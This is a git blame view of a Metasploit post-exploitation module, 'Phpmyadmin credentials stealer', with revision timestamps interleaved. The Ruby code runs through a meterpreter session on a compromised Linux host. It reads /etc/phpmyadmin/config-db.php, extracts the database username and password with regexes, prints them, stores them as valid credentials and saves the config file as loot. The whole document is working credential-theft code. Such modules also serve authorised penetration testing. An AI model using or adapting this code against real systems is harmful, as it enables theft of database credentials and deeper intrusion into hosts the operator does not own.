Files
metasploit-gs/modules/post/linux/gather/phpmyadmin_credsteal.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

75 lines
1.9 KiB
Ruby
Raw Normal View History

2018-08-19 23:40:19 +05:30
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
2018-08-20 16:57:09 +05:30
2018-08-19 23:40:19 +05:30
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Phpmyadmin credentials stealer',
'Description' => %q{
This module gathers Phpmyadmin creds from target linux machine.
},
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Chaitanya Haritash [bofheaded]',
'Dhiraj Mishra <dhiraj@notsosecure.com>'
2018-08-19 23:40:19 +05:30
]
2023-02-08 13:47:34 +00:00
)
)
end
2018-08-19 23:40:19 +05:30
def parse_creds(contents)
2018-09-07 11:13:09 -05:00
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
unless db_user && db_pass
print_error("Couldn't find PhpMyAdmin credentials")
return
end
2018-08-20 16:57:09 +05:30
print_good("User: #{db_user}")
print_good("Password: #{db_pass}")
2023-02-08 13:47:34 +00:00
print_status('Storing credentials...')
store_valid_credential(user: db_user, private: db_pass)
end
def run
2018-08-20 16:57:09 +05:30
print_line("\nPhpMyAdmin Creds Stealer!\n")
2018-08-19 23:40:19 +05:30
2023-02-08 13:47:34 +00:00
if session.platform.include?('windows')
print_error('This module is not compatible with windows')
2018-08-19 23:40:19 +05:30
return
end
2023-02-08 13:47:34 +00:00
conf_path = '/etc/phpmyadmin/config-db.php'
2018-08-29 11:45:08 +05:30
unless file_exist?(conf_path)
2018-08-20 16:57:09 +05:30
print_error("#{conf_path} doesn't exist on target")
2018-08-19 23:40:19 +05:30
return
end
print_good('PhpMyAdmin config found!')
res = read_file(conf_path)
2018-08-30 12:13:39 -05:00
unless res
2023-02-08 13:47:34 +00:00
print_error('You may not have permissions to read the file.')
2018-08-30 12:13:39 -05:00
return
end
2018-08-20 16:57:09 +05:30
2023-02-08 13:47:34 +00:00
print_good('Extracting creds')
parse_creds(res)
2018-09-07 08:13:10 -05:00
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
print_good("Config file located at #{p}")
2018-08-19 23:40:19 +05:30
end
end